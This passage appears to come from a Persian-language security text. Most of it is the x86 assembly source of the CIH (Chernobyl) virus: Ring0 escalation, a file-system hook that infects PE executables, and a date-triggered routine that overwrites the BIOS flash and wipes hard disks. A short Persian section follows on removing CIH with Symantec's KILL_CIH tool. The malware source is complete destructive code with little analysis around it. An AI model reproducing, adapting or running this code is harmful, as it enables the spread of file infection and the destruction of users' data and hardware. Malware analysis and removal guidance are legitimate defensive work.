mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

pop esi

; *************************************
; * Generate Exception to Get Ring0 *
; *************************************

int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $

; *************************************
; * Merge All Virus Code Section *
; *************************************

push esi
mov esi, eax

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb

sub eax, 08h

mov esi, [eax]

or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

jmp LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

pop esi

; *************************************
; * Generate Exception Again *
; *************************************

int HookExceptionNumber ; GenerateException Again

; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************

ReadyRestoreSE:
sti

xor ebx, ebx

jmp RestoreSE

; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************

StopToRunVirusCode:
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]

RestoreSE:
pop dword ptr fs:[ebx]
pop eax

; *************************************
; * Return Original App to Execute *
; *************************************

pop ebp

push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack

ret ; Return to Original App Entry Point

; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************

MyExceptionHook:
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook

; *************************************
; * Do My Virus Exist in System !? *
; *************************************

mov ecx, dr0
jecxz AllocateSystemMemoryPage

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

; *************************************
; * Return to Ring3 Initial Program *
; *************************************

ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;

iretd

; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************

AllocateSystemMemoryPage:

mov dr0, ebx ; Set the Mark of My Virus Exist in System

push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h

xchg edi, eax ; EDI = SystemMemory Start Address

lea eax, MyVirusStart-@2[esi]

iretd ; Return to Ring3 Initial Program

; *************************************
; * Install My File System Api Hook *
; *************************************

InstallMyFileSystemApiHook:

lea eax, FileSystemApiHook-@6[edi]

push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flags

mov dr0, eax ; Save OldFileSystemApiHook Address

pop eax ; EAX = FileSystemApiHook Address

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx

; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax

cli

jmp ExitRing0Init

; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************

CodeSizeOfMergeVirusCodeSection = offset $

; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************

InstallFileSystemApiHook:
push ebx

call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4 ;

push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax

; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

push eax

; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

mov dr0, eax ; Adjust OldFileSystemApiHook Address

pop eax

pop ebx

ret

; *********************************************************
; * Static Data *
; *********************************************************

OldInstallFileSystemApiHook dd ?

; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************

; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************

FileSystemApiHook:
@3 = FileSystemApiHook

pushad

call @5 ;
@5: ;
pop esi ; mov esi, offset VirusGameDataStartAddress
add esi, VirusGameDataStartAddress-@5

; *************************************
; * Is OnBusy !? *
; *************************************

test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy )
jnz pIFSFunc ; goto pIFSFunc

; *************************************
; * Is OpenFile !? *
; *************************************

; if ( NotOpenFile )
; goto prevhook
lea ebx, [esp+20h+04h+04h]
cmp dword ptr [ebx], 00000024h
jne prevhook

; *************************************
; * Enable OnBusy *
; *************************************

inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy

; *************************************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************

; mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6

push esi

mov al, [ebx+04h]
cmp al, 0ffh
je CallUniToBCSPath

add al, 40h
mov ah, ':'

mov [esi], eax

inc esi
inc esi

; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************

CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax
push esi
int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
add esp, 04h*04h

; *************************************
; * Is FileName '.EXE' !? *
; *************************************

; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy

IF DEBUG

; *************************************
; * Only for Debug *
; *************************************

; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy

ENDIF

; *************************************
; * Is Open Existing File !? *
; *************************************

; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy

; *************************************
; * Get Attributes of the File *
; *************************************

mov ax, 4300h
int 20h ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
dd 00400032h

jc DisableOnBusy

push ecx

; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************

mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]

; *************************************
; * Is Read-Only File !? *
; *************************************

test cl, 01h
jz OpenFile

; *************************************
; * Modify Read-Only File to Write *
; *************************************

mov ax, 4301h
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Open File *
; *************************************

OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx
call edi ; VXDCall IFSMgr_Ring0_FileIO

xchg ebx, eax ; mov ebx, FileHandle

; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************

pop ecx

pushf

test cl, 01h
jz IsOpenFileOK

; *************************************
; * Restore Attributes of the File *
; *************************************

mov ax, 4301h
call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Is Open File OK !? *
; *************************************

IsOpenFileOK:
popf

jc DisableOnBusy

; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************

push esi ; Push FileNameBuffer Address to Stack

pushf ; Now CF = 0, Push Flag to Stack

add esi, DataBuffer-@7 ; mov esi, offset DataBuffer

; ***************************
; * Get OffsetToNewHeader *
; ***************************

xor eax, eax
mov ah, 0d6h

; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax

push 00000004h
pop ecx
push 0000003ch
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIO

mov edx, [esi]

; ***************************
; * Get 'PE' Signature *
; * of ImageFileHeader, and *
; * Infected Mark. *
; ***************************

dec edx

mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Is PE !? *
; ***************************
; * Is the File *
; * Already Infected !? *
; ***************************
; * WinZip Self-Extractor *
; * doesn't Have Infected *
; * Mark Because My Virus *
; * doesn't Infect it. *
; ***************************

; cmp [esi], 'PE'
cmp dword ptr [esi], 00455000h
jne CloseFile

; *************************************
; * The File is ^o^ *
; * PE(Portable Executable) indeed. *
; *************************************
; * The File isn't also Infected. *
; *************************************

; *************************************
; * Start to Infect the File *
; *************************************
; * Registers Use Status Now : *
; * *
; * EAX = 04h *
; * EBX = File Handle *
; * ECX = 04h *
; * EDX = 'PE' Signature of *
; * ImageFileHeader Pointer's *
; * Former Byte. *
; * ESI = DataBuffer Address ==> @8 *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump : *
; * *
; * ESP => ————————- *
; * | EFLAG(CF=0) | *
; * ————————- *
; * | FileNameBufferPointer | *
; * ————————- *
; * | EDI | *
; * ————————- *
; * | ESI | *
; * ————————- *
; * | EBP | *
; * ————————- *
; * | ESP | *
; * ————————- *
; * | EBX | *
; * ————————- *
; * | EDX | *
; * ————————- *
; * | ECX | *
; * ————————- *
; * | EAX | *
; * ————————- *
; * | Return Address | *
; * ————————- *
; *************************************

push ebx ; Save File Handle

push 00h ; Set VirusCodeSectionTableEndMark

; ***************************
; * Let's Set the *
; * Virus' Infected Mark *
; ***************************

push 01h ; Size
push edx ; Pointer of File
push edi ; Address of Buffer

; ***************************
; * Save ESP Register *
; ***************************

mov dr1, esp

; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************

push eax ; Size

; ***************************
; * Let's Read *
; * Image Header in File *
; ***************************

mov eax, ebp
mov cl, SizeOfImageHeaderToRead
add edx, 07h ; Move EDX to NumberOfSections
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; * Address of Buffer ) *
; ***************************

lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; Pointer of File

lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; Address of Buffer

; ***************************
; * Move EDX to the Start *
; * of SectionTable in File *
; ***************************

movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h]

; ***************************
; * Let's Get *
; * Total Size of Sections *
; ***************************

mov al, SizeOfScetionTable

; I Assume NumberOfSections <= 0ffh
mov cl, (NumberOfSections-@8)[esi]

mul cl

; ***************************
; * Let's Set Section Table *
; ***************************

; Move ESI to the Start of SectionTable
lea esi, (StartOfSectionTable-@8)[esi]

push eax ; Size
push edx ; Pointer of File
push esi ; Address of Buffer

; ***************************
; * The Code Size of Merge *
; * Virus Code Section and *
; * Total Size of Virus *
; * Code Section Table Must *
; * be Small or Equal the *
; * Unused Space Size of *
; * Following Section Table *
; ***************************

inc ecx
push ecx ; Save NumberOfSections+1

shl ecx, 03h
push ecx ; Save TotalSizeOfVirusCodeSectionTable

add ecx, eax
add ecx, edx

sub ecx, (SizeOfHeaders-@9)[esi]
not ecx
inc ecx

; Save My Virus First Section Code
; Size of Following Section Table…
; ( Not Include the Size of Virus Code Section Table )
push ecx

xchg ecx, eax ; ECX = Size of Section Table

; Save Original Address of Entry Point
mov eax, (AddressOfEntryPoint-@9)[esi]
add eax, (ImageBase-@9)[esi]
mov (OriginalAddressOfEntryPoint-@9)[esi], eax

cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark

; ***************************
; * Read All Section Tables *
; ***************************

mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Full Modify the Bug : *
; * WinZip Self-Extractor *
; * Occurs Error… *
; ***************************
; * So When User Opens *
; * WinZip Self-Extractor, *
; * Virus Doesn't Infect it.*
; ***************************
; * First, Virus Gets the *
; * PointerToRawData in the *
; * Second Section Table, *
; * Reads the Section Data, *
; * and Tests the String of *
; * 'WinZip(R)'…… *
; ***************************

xchg eax, ebp

push 00000004h
pop ecx

push edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9)[esi]
add edx, 12h

call edi ; VXDCall IFSMgr_Ring0_FileIO

; cmp [esi], 'nZip'
cmp dword ptr [esi], 'piZn'
je NotSetInfectedMark

pop edx

; ***************************
; * Let's Set Total Virus *
; * Code Section Table *
; ***************************

; EBX = My Virus First Section Code
; Size of Following Section Table
pop ebx
pop edi ; EDI = TotalSizeOfVirusCodeSectionTable
pop ecx ; ECX = NumberOfSections+1

push edi ; Size

add edx, ebp
push edx ; Pointer of File

add ebp, esi
push ebp ; Address of Buffer

; ***************************
; * Set the First Virus *
; * Code Section Size in *
; * VirusCodeSectionTable *
; ***************************

lea eax, [ebp+edi-04h]
mov [eax], ebx

; ***************************
; * Let's Set My Virus *
; * First Section Code *
; ***************************

push ebx ; Size

add edx, edi
push edx ; Pointer of File

lea edi, (MyVirusStart-@9)[esi]
push edi ; Address of Buffer

; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; ***************************

mov (NewAddressOfEntryPoint-@9)[esi], edx

; ***************************
; * Setup Initial Data *
; ***************************

lea edx, [esi-SizeOfScetionTable]
mov ebp, offset VirusSize

jmp StartToWriteCodeToSections

; ***************************
; * Write Code to Sections *
; ***************************

LoopOfWriteCodeToSections:

add edx, SizeOfScetionTable

mov ebx, (SizeOfRawData-@9)[edx]
sub ebx, (VirtualSize-@9)[edx]
jbe EndOfWriteCodeToSections

push ebx ; Size

sub eax, 08h
mov [eax], ebx

mov ebx, (PointerToRawData-@9)[edx]
add ebx, (VirtualSize-@9)[edx]
push ebx ; Pointer of File

push edi ; Address of Buffer

mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi]
mov [eax+4], ebx

mov ebx, [eax]
add (VirtualSize-@9)[edx], ebx

; Section contains initialized data ==> 00000040h
; Section can be Read. ==> 40000000h
or (Characteristics-@9)[edx], 40000040h

StartToWriteCodeToSections:

sub ebp, ebx
jbe SetVirusCodeSectionTableEndMark

add edi, ebx ; Move Address of Buffer

EndOfWriteCodeToSections:

loop LoopOfWriteCodeToSections

; ***************************
; * Only Set Infected Mark *
; ***************************

OnlySetInfectedMark:
mov esp, dr1

jmp WriteVirusCodeToFile

; ***************************
; * Not Set Infected Mark *
; ***************************

NotSetInfectedMark:
add esp, 3ch

jmp CloseFile

; ***************************
; * Set Virus Code *
; * Section Table End Mark *
; ***************************

SetVirusCodeSectionTableEndMark:

; Adjust Size of Virus Section Code to Correct Value
add [eax], ebp
add [esp+08h], ebp

; Set End Mark
xor ebx, ebx
mov [eax-04h], ebx

; ***************************
; * When VirusGame Calls *
; * VxDCall, VMM Modifies *
; * the 'int 20h' and the *
; * 'Service Identifier' *
; * to 'Call [XXXXXXXX]'. *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First. ^__^ *
; ***************************

lea eax, (LastVxDCallAddress-2-@9)[esi]

mov cl, VxDCallTableSize

LoopOfRestoreVxDCallID:
mov word ptr [eax], 20cdh

mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
mov [eax+2], edx

movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
sub eax, edx

loop LoopOfRestoreVxDCallID

; ***************************
; * Let's Write *
; * Virus Code to the File *
; ***************************

WriteVirusCodeToFile:
mov eax, dr1
mov ebx, [eax+10h]
mov edi, [eax]

LoopOfWriteVirusCodeToFile:

pop ecx
jecxz SetFileModificationMark

mov esi, ecx
mov eax, 0d601h
pop edx
pop ecx

call edi ; VXDCall IFSMgr_Ring0_FileIO

jmp LoopOfWriteVirusCodeToFile

; ***************************
; * Let's Set CF = 1 ==> *
; * Need to Restore File *
; * Modification Time *
; ***************************

SetFileModificationMark:
pop ebx
pop eax

stc ; Enable CF(Carry Flag)
pushf

; *************************************
; * Close File *
; *************************************

CloseFile:
xor eax, eax
mov ah, 0d7h
call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Need to Restore File Modification *
; * Time !? *
; *************************************

popf
pop esi
jnc IsKillComputer

; *************************************
; * Restore File Modification Time *
; *************************************

mov ebx, edi

mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Disable OnBusy *
; *************************************

DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy

; *************************************
; * Call Previous FileSystemApiHook *
; *************************************

prevhook:
popad

mov eax, dr0 ;
jmp [eax] ; Jump to prevhook

; *************************************
; * Call the Function that the IFS *
; * Manager Would Normally Call to *
; * Implement this Particular I/O *
; * Request. *
; *************************************

pIFSFunc:
mov ebx, esp
push dword ptr [ebx+20h+04h+14h] ; Push pioreq
call [ebx+20h+04h] ; Call pIFSFunc
pop ecx ;

mov [ebx+1ch], eax ; Modify EAX Value in Stack

; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the *
; * Returned pioreq. *
; ***************************

cmp dword ptr [ebx+20h+04h+04h], 00000024h
jne QuitMyVirusFileSystemHook

; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; *****************

mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax

; ***************************
; * Quit My Virus' *
; * IFSMgr_FileSystemHook *
; ***************************

QuitMyVirusFileSystemHook:

popad

ret

; *************************************
; * Kill Computer !? … *^_^* *
; *************************************

IsKillComputer:
; Get Now Day from BIOS CMOS
mov al, 07h
out 70h, al
in al, 71h

xor al, 26h ; ??/26/????

IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy
ENDIF

; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; **************************************

; ***************************
; * Kill BIOS EEPROM *
; ***************************

mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]

; ***********************
; * Show BIOS Page in *
; * 000E0000 – 000EFFFF *
; * ( 64 KB ) *
; ***********************

mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi

; ***********************
; * Show BIOS Page in *
; * 000F0000 – 000FFFFF *
; * ( 64 KB ) *
; ***********************

mov di, 0058h
dec edx ; and al,0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi

; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 – 000E01FF *
; * ( 512 Bytes ) *
; * , and the Section *
; * of Extra BIOS can *
; * be Writted… *
; ***********************

lea ebx, EnableEEPROMToWrite-@10[esi]

mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h

push ecx
loop $

; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 – 000E007F *
; * ( 80h Bytes ) *
; ***********************

xor ah, ah
mov [eax], al

xchg ecx, eax
loop $

; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data *
; * 000E0000 – 000FFFFF *
; * ( 128 KB ) *
; * can be Writted… *
; ***********************

mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h

loop $

; ***********************
; * Kill the BIOS Main *
; * ROM Data in Memory *
; * 000FE000 – 000FE07F *
; * ( 80h Bytes ) *
; ***********************

mov ah, 0e0h
mov [eax], al

; ***********************
; * Hide BIOS Page in *
; * 000F0000 – 000FFFFF *
; * ( 64 KB ) *
; ***********************
; or al,10h
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi

; ***************************
; * Kill All HardDisk *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************

KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx

mov esi, esp
sub esp, 0ach

LoopOfKillHardDisk:
int 20h
dd 00100004h ; VXDCall IOS_SendCommand

cmp word ptr [esi+06h], 0017h
je KillNextDataSection

ChangeNextHardDisk:
inc byte ptr [esi+4dh]

jmp LoopOfKillHardDisk

KillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber

jmp LoopOfKillHardDisk

; ***************************
; * Enable EEPROM to Write *
; ***************************

EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al

ret

; ***************************
; * IO for EEPROM *
; ***************************

IOForEEPROM:
@10 = IOForEEPROM

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
in al, dx

BooleanCalculateCode = $
or al, 44h

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
out dx, al

ret

; *********************************************************
; * Static Data *
; *********************************************************

LastVxDCallAddress = IFSMgr_Ring0_FileIO
VxDCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath

VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h
VxDCallTableSize = ($-VxDCallIDTable)/04h

; *********************************************************
; * Virus Version Copyright *
; *********************************************************

VirusVersionCopyright db 'CIH v'
db MajorVirusVersion+'0'
db '.'
db MinorVirusVersion+'0'
db ' TATUNG'

; *********************************************************
; * Virus Size *
; *********************************************************

VirusSize = $
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h)

; *********************************************************
; * Dynamic Data *
; *********************************************************

VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress
OnBusy db 0
FileModificationTime dd ?

FileNameBuffer db FileNameBufferSize dup(?)
@7 = FileNameBuffer

DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ?
TimeDateStamp dd ?
SymbolsPointer dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader dw ?
_Characteristics dw ?
Magic dw ?
LinkerVersion dw ?
SizeOfCode dd ?
SizeOfInitializedData dd ?
SizeOfUninitializedData dd ?
AddressOfEntryPoint dd ?
BaseOfCode dd ?
BaseOfData dd ?
ImageBase dd ?
@9 = $
SectionAlignment dd ?
FileAlignment dd ?
OperatingSystemVersion dd ?
ImageVersion dd ?
SubsystemVersion dd ?
Reserved dd ?
SizeOfImage dd ?
SizeOfHeaders dd ?
SizeOfImageHeaderToRead = $-NumberOfSections

NewAddressOfEntryPoint = DataBuffer ; DWORD
SizeOfImageHeaderToWrite = 04h

StartOfSectionTable = @9
SectionName = StartOfSectionTable ; QWORD
VirtualSize = StartOfSectionTable+08h ; DWORD
VirtualAddress = StartOfSectionTable+0ch ; DWORD
SizeOfRawData = StartOfSectionTable+10h ; DWORD
PointerToRawData = StartOfSectionTable+14h ; DWORD
PointerToRelocations = StartOfSectionTable+18h ; DWORD
PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD
NumberOfRelocations = StartOfSectionTable+20h ; WORD
NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD
Characteristics = StartOfSectionTable+24h ; DWORD
SizeOfScetionTable = Characteristics+04h-SectionName

; *********************************************************
; * Virus Total Need Memory *
; *********************************************************

VirusNeedBaseMemory = $

VirusTotalNeedMemory = @9
; + NumberOfSections(??)*SizeOfScetionTable(28h)
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h)

; *********************************************************
; *********************************************************

VirusGame ENDS

END FileHeader__________________

;Www.IrIsT.Ir & Www.IrIsT.Ir/forum/
4-6-روش پاک سازی ویروس CIH
کشف شده: 5ژانویه 1999
آپدیت شده: 24آگوست 2005
نوع: اطلاعات Removal
از 3آگوست 1998،ابزار KILL_CIH به طور مناسب برای نمایان کردن و حذف همه انواع شناخته شده ویروس CIH از حافظه تحت ویندوز 95 و ویندوز 98 طراحی شده است.
ویروس CIH روی ویندوز NT و ویندوز 2000 نمی تواند اثر بگذارد.
اگر ابزار قبل از اثر ویروس روی سیستم اجرا شودحافظه کامپیوتر را برای جلوگیری از اثر گذاری ویروس CIH تا زمان reboot بعدی سیستم مایه کوبی خواهد کرد.
یادداشت:
اگر کامپیوتر شما در حال حاضر با ویروس CIH آلوده شده باشد،اول ابزار KILL_CIH را Run کنید قبل ازاینکه اقدام کنید به اپدیت کردن تعاریف ویروس یا Scan سیستم تان.
اگر شما اقدام کنید به Scan کردن سیستم تان با هر فرآورده آنتی ویروس بدون اینکه اول این ابزار را اجرا کنید.آلودگی می تواند گسترش یابد.
بعد از استفاده کردن از این ابزار، شما می توانید به طور مناسب تعاریف آنتی ویروس نورتون تان را updateکنید و کامپیوتر را scan کنید.
ابزار KILL_CIH ویروس را از فایل ها حذف نمی کند، آنها تنها ویروس را در حافظه نا توان می کنند.
شما می توانید ابزار حذفCIH از هر DOS command Line یا از یک login script اجرا کنید.اجرا کردن ابزار از تا login script به administrator اجازه می دهد که به طور خودکار، پروسه ها را ضد عفونی کند.
این بدان معنی است که یک administrator مجبور نیست که به هر ایستگاه کاری روی شبکه برود و از یک فلاپی دیسک تمیز برای تمیز کردن کامپیوتر reboot کند.
بعد از استفاده از این ابزار شما باید تعاریف ویروس تان را اپدیت کنید آنگاه به طور کامل کامپیوتر را با استفاده از Scan,NAV کنید.این محصول ویروس را حذف خواهد کرد و هر فایل خراب را تعمیر میکند.
بدست آوردن و اجرا کردن ابزار:
فایل KILL_CIH.EXE را در دسک تاپ دانلود کنید.
همه برنامه ها را قبل از اجرا کردن ابزار ببندید.
KILL_CIH.EXE را در پنجره DOC درون ویندوز به صورت زیر اجرا کنید.
روی Start کلیک کنیدوآنگاه روی Run کلیک کنید.
Command را تایپ کنیدوآنگاه روی Ok کلیک کنید.
یک MS-Dos windows ، یک C:windowsDesktop prompt را باز خواهد کرد.
KILL_CIH.EXE را تایپ کنید و انگاه Enter را فشار دهید.
برنامه KILL_CIH.EXE به آرگومان های command _line نیاز ندارد.آن یکی از چند پیغام زیر را نمایش خواهد داد.
"ویروس w95.CIH در حافظه پیدا شده است.
ویروس W95.CIH به طور کامل نا توان شده است ".
شما می توانید آنتی ویروس نورتون را برای حذف هر آلودگی از فایل RUN کنید.
اگر هر strain از ویروس CIH پیدا شود در حافظه کامپیوتر این پیغام نمایش داده می شود.
این ابزار ویروس را در حافظه نا توان کرده و از اینکه خسارت به سیستم وارد شود و فایل های دیگر آلوده شود جلوگیری می کند.
"ویروس CIH در حافظه پیدا نشده است"
این پیغام اگر هر strain از ویروس CIH پیدا نشود نمایش داده می شود.
این ابزار کامپیوتر را مایه کوبی کرده و از اثر کردن ویروس در حافظه جلوگیری می کند.
"ویندوز NT نمی تواند به وسیله ویروس CIH آلوده شود."
این پیغام اگر ابزار تحت ویندوز 2000/XP/NT استفاده شود، نمایش داده می شود.در انجام دادن این کار آسیبی متوجه سیستم نیست و برنامه به طور نرمال بعد از نمایش دادن این پیغام خارج خواهد شد.
بعد از اجرا کردن ابزار:
Live update را Run کنید تا شما مطمئن شوید که تعاریف ویروس را دارید.
NAVرا اغاز کنیدو مطمئن شوید که آن برای اسکن کردن همه فایل ها ترکیب بندی شده است.
برای Remove کردن ویروس یکی از کارها انجام دهید.
* از Symantec Security Respond استفاده کنید که ویروس را از حافظه حذف می کند و از نیاز به دوباره راه اندازی کردن از یک سیستم دیسک تمیز جلوگیری می کند.
* کامپیوتر را از Rescue Disk دوباره راه اندازی کنید.
* اگر کامپیوتر شما این option را اجازه میدهد کامپیوتر را از آنتی ویروس نورتون دوباره راه اندازی کنید.

فصل پنجم-آنالیز Get codec multi media Trojan
5-1-بررسی تروجان
